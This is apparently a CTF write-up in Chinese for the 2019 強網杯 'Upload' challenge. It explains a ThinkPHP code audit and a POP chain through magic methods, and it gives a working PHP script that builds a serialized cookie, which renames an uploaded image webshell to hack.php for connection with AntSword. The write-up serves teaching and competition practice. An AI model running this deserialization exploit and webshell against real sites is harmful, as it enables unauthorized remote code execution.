程式碼審計
[強網杯 2019]Upload
原始碼下載www.tar.gz
原始碼一大坨
參考[強網杯2019]upload buuoj - Throokie - 部落格園 (cnblogs.com)
這寫的很全面
用phpstorm可以看到有兩處下斷點的地方,屬於是提示了。分別是
application\web\controller\Profile.php
application\web\controller\index.php
,可以發現這裡存在反序列化操作,接收的引數是base64解碼後的cookie值
這裡先講一下thinkphpd的一些特性
在 ThinkPHP 中,URL 通常遵循以下格式:
/模組/控制器/方法
假設預設的模組是 web
,那麼訪問以下 URL:
/index
相當於請求了:
/web/index/index
即:
- 模組:
web
- 控制器:
Index
- 方法:
index()
路由解析過程
-
當你訪問
/index
時,框架會按照 URL 解析規則:
- 解析到控制器是
app\web\controller\Index
。 - 呼叫該控制器中的
index()
方法。
- 解析到控制器是
因此,訪問 /index
會觸發 Index
控制器的 index()
方法。
解題
兩個提示處看一下,一個是接收cookie的序列化值,一個是register.php中解構函式。
同時發現profile.php中有可用的魔術方法__get()
、 __call()
整個流程是透過反序列化,觸發update_img方法,並且繞過其中的部分判斷,最終到達下面這段函式,來修改已上傳的圖片馬名字
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
pop鏈
首先從解構函式出發,觸發進Profile()類中
public function __destruct()
{
//$this->registed=0
if(!$this->registed){
// $this->checker=Profile()
$this->checker->index();
}
}
由於Profile->index()
不存在,觸發了 __call
方法,$this->{$name}
即$this->index
又剛好觸發__get
,但是返回值是except[$name]數值的值,那就需要一個鍵名為$name鍵值為upload_img的except陣列。這樣子 $this->{$this->{$name}}($arguments);
就會成為upload_img($arguments)
$this->{$this->{$name}}($arguments)
:這裡是雙重的動態呼叫,首先 $this->{$name}
獲取屬性的值(假設是一個方法名),然後呼叫該方法並傳入 $arguments
引數。
public function __get($name)
{
//$this->except[index]
return $this->except[$name];
}
public function __call($name, $arguments)
{
//name=index
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
其他問題
pop鏈子已經構造好了,但是還是需要處理別的來東西來讓觸發成功執行
public function upload_img(){
//$this->checker=0
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
//ext=1,進入此處進行重新命名操作
if($this->ext) {
//filename_tmp=你圖片馬上傳的路徑
if(getimagesize($this->filename_tmp)) {
//filename=重新命名後的檔名字
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
最終exp
<?php
namespace app\web\controller;
class Register{
public $checker;
public $registed =0;
}
class Profile{
public $checker =0 ;
public $filename_tmp="./upload/065831472858248584ff4993846d5065/3c2a5c7f9c572389f5db2a27f9651436.png";
public $upload_menu;
public $filename="./upload/hack.php";
public $ext=1;
public $img;
public $except=array("index"=>"upload_img");
}
$a = new Register();
$a->checker = new Profile();
echo base64_encode(serialize($a));
在home下重新整理攔包,修改cookie為反序列化的那串base64,然後瘋狂重新整理幾次,就能看到upload/hack.php了,由於瀏覽器編碼的原因可能你看不到馬在哪,蟻劍連線即可
後話
這cookie卡我好久,上傳後不知道是不是路由快取還沒更新的原因,一直都顯示upload目錄404,最終解決辦法是a瀏覽器掛著upload目錄,b瀏覽器執行傳cookie操作,這樣子才能看到東西